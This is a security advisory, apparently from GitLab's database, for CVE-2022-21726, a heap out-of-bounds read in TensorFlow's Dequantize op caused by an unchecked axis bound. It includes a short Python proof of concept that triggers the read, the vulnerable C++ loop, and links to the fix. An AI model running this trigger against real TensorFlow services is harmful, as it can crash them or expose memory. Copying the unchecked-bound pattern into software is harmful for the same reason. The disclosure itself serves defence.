CVE-2022-21726: Out of bounds read in Tensorflow
(updated )
The implementation of Dequantize
does not fully validate the value of axis
and can result in heap OOB accesses:
import tensorflow as tf
@tf.function
def test():
y = tf.raw_ops.Dequantize(
input=tf.constant([1,1],dtype=tf.qint32),
min_range=[1.0],
max_range=[10.0],
mode='MIN_COMBINED',
narrow_range=False,
axis=2**31-1,
dtype=tf.bfloat16)
return y
test()
The axis
argument can be -1
(the default value for the optional argument) or any other positive value at most the number of dimensions of the input. Unfortunately, the upper bound is not checked and this results in reading past the end of the array containing the dimensions of the input tensor:
if (axis_ > -1) {
num_slices = input.dim_size(axis_);
}
// ...
int64_t pre_dim = 1, post_dim = 1;
for (int i = 0; i < axis_; ++i) {
pre_dim *= float_output.dim_size(i);
}
for (int i = axis_ + 1; i < float_output.dims(); ++i) {
post_dim *= float_output.dim_size(i);
}
References
- github.com/advisories/GHSA-23hm-7w47-xw72
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2022-50.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2022-105.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/dequantize_op.cc
- github.com/tensorflow/tensorflow/commit/23968a8bf65b009120c43b5ebcceaf52dbc9e943
- github.com/tensorflow/tensorflow/security/advisories/GHSA-23hm-7w47-xw72
- nvd.nist.gov/vuln/detail/CVE-2022-21726
Detect and mitigate CVE-2022-21726 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →